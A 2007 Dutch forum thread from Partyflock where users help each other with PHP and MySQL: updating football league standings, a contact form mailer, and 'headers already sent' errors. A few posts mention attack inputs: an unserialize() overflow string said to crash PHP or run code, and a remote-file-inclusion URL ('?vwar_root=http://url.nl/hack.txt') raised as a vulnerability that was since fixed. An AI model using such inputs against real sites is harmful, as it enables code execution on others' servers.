Partyflock
 
Forumonderwerp · 960231
1 volger · 1126x bekeken
 
Waarschuw beheerder
Hier kunt u terecht voor al uw vragen/opmerkingen en suggesties op het gebied van PHP en mySQL.

Leren programmeren in PHP? Hieronder staan een aantal video tutorials die wel handig zijn om te beginnen.

Les 1: Apache Installeren

Les 2: PHP Installeren

Les 3: PHP Configureren

Les 4: PHP Toevoegen aan HTML

Les 5: Introductie Variabelen

Les 6: mySQL Installeren

Les 7: Introductie Databases

Les 8: Introductie Tabellen

Les 9: Werken met Data

Les 10: Introductie

Les 11: Gebruikers Account

Les 12: Integratie PHP & mySQL

Les 13: Counter Script Schrijven

Les 14: 'For' Loops & Arrays

Les 15: 'If' Statements

Les 16: 'POST' & 'GET' Forms

Les 17: Een Gastenboek Maken

Les 18: Een Statistieken Tracker Maken

Les 19: PHPmyAdmin
Waarschuw beheerder
[php]case $uitslag_thuis > $uitslag_uit: $punten = 3; $gewonnen = 1; $gespeeld = 1; array_push($teams,$team_thuis_id); break; case $uitslag_thuis > $uitslag_uit: $verloren = 1; $gespeeld = 1; array_push($teams,$team_uit_id); break; [/php]

Met de bovenstaande code wil ik dat wanneer team_uit verliest, erbij hem het aantal verloren wedstrijden en aantal gespeelde wedstrijden +1 gaat. (rest van de code werkt gewoon en dus niet gepost.)
Echter stopt hij na de eerste break en wijzigt hij alleen alles voor de winnaar.
Iemand een idee?
laatste aanpassing
Waarschuw beheerder
je hebt 2x dezelfde case staan
Waarschuw beheerder
Klopt,

maar hij moet dus bij de thuisploeg 3 punten , 1 wedstrijd en 1 x gewonnen erbij doen, tegelijkertijd moet er bij de uitploeg 1 wedstrijd en 1 x verloren erbij.

Hoe doe ik dat dan?
Waarschuw beheerder
Gewoon in dezelfde case doen? :)
Waarschuw beheerder
dan krijgt de thuisploeg ook verloren +1 en de verliezer ook 3 punten.
En dat is nou juist niet de bedoeling :P
laatste aanpassing
Waarschuw beheerder
Ik snap het niet helemaal. Moet je die integers 'punten', 'gewonnen', etc. niet per team bijhouden?
Waarschuw beheerder
Dat gebeurd ook:
Iets meer code hieronder:

case "do_add":
$insert_sql = "INSERT INTO wedstrijd(wedstrijd_id,team_thuis,team_uit,uitslag_thuis,uitslag_uit) VALUES";
for($i = 0 ; $i < count($_GET['team_thuis']) ; $i++)
{
$team_thuis_id = intval($_GET['team_thuis'][$i]);
$team_uit_id = intval($_GET['team_uit'][$i]);
$uitslag_thuis = intval($_GET['uitslag_thuis'][$i]);
$uitslag_uit = intval($_GET['uitslag_uit'][$i]);
$insert_sql .= "(NULL,'{$team_thuis_id}','{$team_uit_id}','{$uitslag_thuis}','{$uitslag_uit}'),";

// punten updaten
$punten = 0;
$gewonnen = 0;
$verloren = 0;
$gelijk = 0;
$gespeeld = 0;
$teams = array();
switch(true)
{
case $uitslag_thuis > $uitslag_uit:
$punten = 3;
$gewonnen = 1;
$gespeeld = 1;
array_push($teams,$team_thuis_id);
break;
case $uitslag_thuis < $uitslag_uit:
$punten = 3;
$gewonnen = 1;
$gespeeld = 1;
array_push($teams,$team_uit_id);
break;
case $uitslag_thuis == $uitslag_uit:
$punten = 1;
$gelijk = 1;
$gespeeld = 1;
array_push($teams,$team_thuis_id,$team_uit_id);
break;
}

if(count($teams) > 0)
{
$sql = "UPDATE team SET
team_punten = team_punten + {$punten},
team_gewonnen = team_gewonnen + {$gewonnen},
team_gelijk = team_gelijk + {$gelijk},
team_verloren = team_verloren + {$verloren},
team_gespeeld = team_gespeeld + {$gespeeld}

WHERE team_id IN(" . implode(",",$teams) . ")";
mysql_query($sql);
}
}
$insert_sql = substr($insert_sql,0,-1);
mysql_query($insert_sql);

header("Location: index.php?cid={$_GET['cid']}");
break;

Dit werkt tot nu toe goed, alleen moet hij dus nog de verliezer goed updaten, dus wanneer de thuisploeg wint, dan moet hij bij case $uitslag_thuis > $uitslag_uit: nog $verloren en gespeeld +1 doen, bij de uitploeg.

iets duidelijker?
Waarschuw beheerder
donateur
snap je logica niet echt...
op deze manier gaat het ook niet lukken wat jij wilt, omdat de punten die je toekent maar voor 1 team tellen... ( of 2 alleen als ze gelijk spelen )
wat staat er in $_GET['team_thuis']?
en waarom doe je dit met een for loop?
volgens mij staat er alleen maar de id's en uitslagen in en hoef je zoiets niet in een for loop te zetten..
want count($_GET['team_thuis']) is volgens mij bij jou altijd 1 en $_GET['team_thuis'][0] is gewoon het id van dat team of zie ik het verkeerd?

ik zou eerst je wedstrijd inserten en daarna per team updaten...
en dat kan nog makkelijker met een if , else if, else if imo...

if ( $uitslag_thuis > $uitslag_uit ) {

$sql = "UPDATE team SET
team_punten = team_punten + 3,
team_gewonnen = team_gewonnen + 1,
team_gespeeld = team_gespeeld + 1
WHERE team_id = " . (int)$team_thuis_id;
mysql_query( $sql );

$sql = "UPDATE team SET
team_verloren = team_verloren + 1,
team_gespeeld = team_gespeeld + 1
WHERE team_id = " . (int)$team_uit_id;
mysql_query( $sql );

} else if ( $uitslag_thuis < $uitslag_uit ) {

# net zoals vorige maar andersom
...

} else if ( $uitslag_thuis == $uitslag_uit ) {

# gelijk
...

}
Waarschuw beheerder
In totaal zijn er 12 teams waarvan de score verwerkt moet worden.

Ik had het eerst op jouw manier gedaan zeg maar, maar dat was niet goed en ze (andere php'ers) zeiden dat het op die manier niet ging lukken voor 12 teams tegelijk :D
laatste aanpassing
Waarschuw beheerder
Uitspraak van Dennis C. op dinsdag 17 juli 2007 om 13:44:
dan krijgt de thuisploeg ook verloren +1 en de verliezer ook 3 punten.


err... gewoon andere variabelen gebruiken? ;o

case $uitslag_thuis > $uitslag_uit:
$thuis_punten = 3;
$thuis_gewonnen = 1;
$thuis_gespeeld = 1;
array_push($teams,$team_thuis_id);
$uit_punten = 0;
$uit_verloren = 1;
$uit_gespeeld = 1;
array_push($teams,$team_uit_id);
break;
Waarschuw beheerder
donateur
Uitspraak van Dennis C. op dinsdag 17 juli 2007 om 15:37:
In totaal zijn er 12 teams waarvan de score verwerkt moet worden.


maak gewoon wedstrijd array met daarin de info van alle wedstrijden..

dan met een foreach loop doorheen lopen en op bovenstaande manier inserten...
Waarschuw beheerder
donateur
multidimensionale arrays... ja
Waarschuw beheerder
probeer het zou ik zeggen
Waarschuw beheerder
donateur
zitten voor zover ik weet geen beperkingen op het aantal dimensies, alleen beperkingen mbt het geheugen wat het script mag gebruiken..
maar dat is in te stellen in je php.ini

kan me overigens niet echt een situatie voorstellen waarin je 9 of meer dimensies zou willen gebruiken..
3 of meer zie je al bijna niet in de praktijk...
Waarschuw beheerder
als je 2dimensionale arrays met enorme waardes ([10000][1000000] oid.) gebruikt op een website is er zoiezo al wat mis :p
Waarschuw beheerder
Uitspraak van radic op donderdag 19 juli 2007 om 12:46:
als je 2dimensionale arrays met enorme waardes ([10000][1000000] oid.) gebruikt op een website is er zoiezo al wat mis :p


PHP kan daar niet zo goed tegen; PHP wemelt van de integer overflows. Er zaten bijvoorbeeld meerdere bugs in de unserialize() functie. Je kon bepaalde versies van PHP laten crashen en zelfs code laten uitvoeren door iets als a:4294967295 te unserializen :-) (Zorg dus dat je nooit data die de user kan bepalen door unserialize() heen haalt)
Waarschuw beheerder
donateur
Uitspraak van eSDee op donderdag 19 juli 2007 om 13:09:
Er zaten bijvoorbeeld meerdere bugs in de unserialize() functie.


serialize bug is er al een tijdje uit afaik...
oudere versies kon je idd hard kapot laten gaan :P

maar wat radic ook zegt, als je zulke arrays in een keer wilt gaan gebruiken op een website is er wel iets mis...
Waarschuw beheerder
Uitspraak van dex op donderdag 19 juli 2007 om 13:37:
serialize bug is er al een tijdje uit afaik...


Tijdens the month of the PHP bugs waren er een aantal nieuwe unserialize() bugs gevonden. Een aantal integer overflows en 2 infoleaks (waarmee je een aantal bytes heap memory van PHP kon uitlezen)
Waarschuw beheerder
donateur
Uitspraak van Sidex ... . . . .<Limburger> op vrijdag 20 juli 2007 om 12:03:
heb nog niet zoveel ervaring met php.. maar uu.. hoe slecht is deze pagina gemaakt?


Kunnen wij moelijk bepalen he ;)
Je zal toch een stuk code moeten plaatsen
 
Waarschuw beheerder
Uitspraak van Sidex ... . . . .<Limburger> op vrijdag 20 juli 2007 om 12:03:
heb nog niet zoveel ervaring met php.. maar uu.. hoe slecht is deze pagina gemaakt?

http://neophyte.nl/


Haha, zo te zien is die site gemaakt door Lody (Mental Wreckage), daar moet je ook niet te veel van verwachten :lol:

Met XSS kom je een heel eind op die site :x
Waarschuw beheerder
Uitspraak van Dennis C. op vrijdag 20 juli 2007 om 12:24:
Druk maar is op inloggen (submit) zonder wat in te vullen ;)


och idd.. lol

ben zoeken naar een formmailer.. nu zag ik deze pagina
http://www.heuts.nl/b2c/contact.php

maar ik snap niet waar die verzonden word.. bij action zie ik dat hij zich zelf aanroept :S.. heel raar..
Waarschuw beheerder
donateur
Uitspraak van Sidex ... . . . .<Limburger> op maandag 13 augustus 2007 om 12:13:
maar ik snap niet waar die verzonden word.. bij action zie ik dat hij zich zelf aanroept :S.. heel raar..


is toch 1 van de meest gebruikte manieren om een form af te handelen..

if ( postvariabelen geset en geldig ) {

# handel formulier af en mail

} else {

# laat formulier zien

}
Waarschuw beheerder
Uitspraak van dex op maandag 13 augustus 2007 om 19:19:
is toch 1 van de meest gebruikte manieren om een form af te handelen..

if ( postvariabelen geset en geldig ) {

# handel formulier af en mail

} else {

# laat formulier zien

}


is de eerste keer dat ik een form maak..
dat zal idd zo moeten gebeuren.

enigste wat ik vind zijn script die controleren of het ingevuld is en op de juiste manier..
ik vind het niet welke methode word aangeroepen om het te verzenden. zie ook niet het email adres naar waar die het moet verzenden..

(ik heb een php script die werkt, alleen is die niet goed beveiligd je moet namelijk email adres in html zetten in, plaats vast in het script)
Waarschuw beheerder
donateur
Uitspraak van Sidex ... . . . .<Limburger> op dinsdag 14 augustus 2007 om 15:21:
(ik heb een php script die werkt, alleen is die niet goed beveiligd je moet namelijk email adres in html zetten in, plaats vast in het script)


ja dat moet je dus nooit doen...

je kan je velden op meerdere manieren checken..
1. in de html dmv javascript
2. in je php na het posten

die php check kan ook gewoon een andere pagina zijn dan degene waar het formulier staat..
je kan bijvoorbeeld je formulier gewoon in html maken: contact.html en dan je formulier laten posten naar bijvoorbeeld verzend.php waar alle waarden uit het formulier worden gecheckt...
maar omdat het lekker makkelijk is om naar zichzelf te posten wordt dat gewoon vaak gebruikt, je kan namelijk wanneer mensen een formulier niet volledig invullen (en je javascript checks werken niet) de velden die wel goed waren ingevuld gewoon weer vullen met de waarden die al waren doorgegeven...

hou gewoon dit aan:
Uitspraak van dex op maandag 13 augustus 2007 om 19:19:
if ( postvariabelen geset en geldig ) {

# handel formulier af en mail

} else {

# laat formulier zien

}


in de if kan je kijken of de $_POST variabelen gevuld zijn en de goede waardes bevatten, hier valt genoeg over te vinden...
daarna mail je met de mail() functie van php (http://nl3.php.net/mail)
Waarschuw beheerder
laat maar..

had me effen vergist je hebt contact en contact_post..
dacht zelfde script was..
jammer kan hem niet bekijken wat die doet..
Waarschuw beheerder
donateur
Uitspraak van Sidex ... . . . .<Limburger> op dinsdag 14 augustus 2007 om 20:58:
had me effen vergist je hebt contact en contact_post..


dat kan toch gewoon in hetzelfde bestand?

Uitspraak van Sidex ... . . . .<Limburger> op dinsdag 14 augustus 2007 om 20:58:
jammer kan hem niet bekijken wat die doet..


dat is juist de reden om het in php of een andere serverside taal af te handelen....
Waarschuw beheerder
Uitspraak van dex op dinsdag 14 augustus 2007 om 21:08:
dat is juist de reden om het in php of een andere serverside taal af te handelen....


hahah ja dat is ook vrij logisch.. volgens mij zal die wel 755 ingesteld hebben..

nu heb ik die pagina van je goed door genomen.
heb nu zelf iets werkens gemaakt.
maar krijg deze melding :s

Warning: Cannot modify header information - headers already sent by (output started at /home/xxx/domains/xxxxx/public_html/test/Mail3.php:1) in /home/xxxxx/domains/xxxxxx/public_html/test/Mail3.php on line 39

lijn38: mail("xx@xxx.nl","Mail van xxx site",$msg,"From: $_POST[email]");
lijn39: header("Location: "."http://www.xxxxxx.nl");

de bedoeling is na het verzenden van de mail. naar de homepagina terug te keren
Waarschuw beheerder
boven de header(""); mag niets staan, dan krijg je die melding.
Waarschuw beheerder
Uitspraak van Dennis C. op woensdag 15 augustus 2007 om 19:56:
boven de header(""); mag niets staan, dan krijg je die melding.


uuu? hoe bedoel je precies..?
heb al geprobeert met een a twee witte regels tussen te laten..
Waarschuw beheerder
donateur
wat wel werk is
Uitspraak van Sidex ... . . . .<Limburger> op woensdag 15 augustus 2007 om 22:35:
uuu? hoe bedoel je precies..?
heb al geprobeert met een a twee witte regels tussen te laten..


:P dat maakt niets uit, er mag helemaal niets boven de headers staan.

probeer dit is location('http://www.xxxxxx.nl'); ipv header("Location: "."http://www.xxxxxx.nl");
Waarschuw beheerder
Uitspraak van Marcel op donderdag 16 augustus 2007 om 12:26:
probeer dit is location('http://www.xxxxxx.nl'); ipv header("Location: "."http://www.xxxxxx.nl");


Fatal error: Call to undefined function: location()
Waarschuw beheerder
het moet gewoon zijn:

header("Location: info.php");

bijvoorbeeld

en er mag best iets boven header staan geloof ik, alleen mag er nog niets naar het scherm geschreven zijn....
laatste aanpassing
Waarschuw beheerder
Uitspraak van L076 op donderdag 16 augustus 2007 om 19:18:
en er mag best iets boven header staan geloof ik, alleen mag er nog niets naar het scherm geschreven zijn....


voor de header("Location: .."); mag je best iets outputten. Het is alleen bij bepaalde attributen zo. Zolang je ob_start(); helemaal bovenaan zet hoef je er niet rekening mee te houden.
Waarschuw beheerder
Uitspraak van ' S.tefan op donderdag 16 augustus 2007 om 20:02:
Zolang je ob_start(); helemaal bovenaan zet hoef je er niet rekening mee te houden.


maar dat is niet echt netjes ;)

** heb ik geleerd / gehoord **
laatste aanpassing
Waarschuw beheerder
O, niet dat ik weet.

Wordt bij vele gebruikt en is dé oplossing voor cookies en header shit.

http://nl3.php.net/manual/nl/function.ob-start.php
Het kan ook met ob_end_clean(); enzo op een veilige manier afgesloten worden he
laatste aanpassing
Waarschuw beheerder
donateur
kijk pm :)
Waarschuw beheerder
Uitspraak van ' S.tefan op donderdag 16 augustus 2007 om 21:02:
is dé oplossing


Bij mijn weten verbergt het alleen de foutmelding.
 
Artiest Killerbase
Waarschuw beheerder
vraagje,

Ik heb een mysql database met daarin een table als dit:
database: info
id INT 11 primary_key
text TEXT
bio TEXT
home TEXT

Echter wil ik wat ik erin vul en op de pagina dat ik enters krijg als ik deze neerzet in de database.

dit heb ik op de webpage:

<?
$result = mysql_query("SELECT * FROM info");

while (list($id, $text, $bio, $home) = mysql_fetch_row($result)){

echo ''. $text . ''; }

?>

Wat moet ik aanpassen?




Laat maar, heb ik al gevonden. En nee niet door google
laatste aanpassing
Waarschuw beheerder
Alreeds !!

net als in de andere post.

iig bedankt.
laatste aanpassing
 
Waarschuw beheerder
Dat ligt er maar net aan wat voor header je wilt invoegen.
Of het van een andere website is of van jezelf
laatste aanpassing
 
Waarschuw beheerder
donateur
Uitspraak van Kale PartySl*t op woensdag 29 augustus 2007 om 19:18:
door deze regels is het mogelijk

include ($vwar_root . "_header.php" );

Als er dus get_header.php?vwar_root=http://url.nl/hack.txt wordt ingevoerd, kan er externe code worden ingeladen.

Iemand plz ????


Iets meer informatie graag: wat wil je includen, waar, waar komt het vandaan, waar is het voor... etc.

Je moet sowieso nooit toelaten dat je code injectie kan krijgen. Iets includen dmv een requestvariabele is dus ook echt uit den boze.
Waarschuw beheerder
Ik wou zelf niets includen.
maar door middel van die regel kon er extern iets worden geinjecteerd.

maar het probleem is ondertussen al verholpen.

iig bedankt peepz.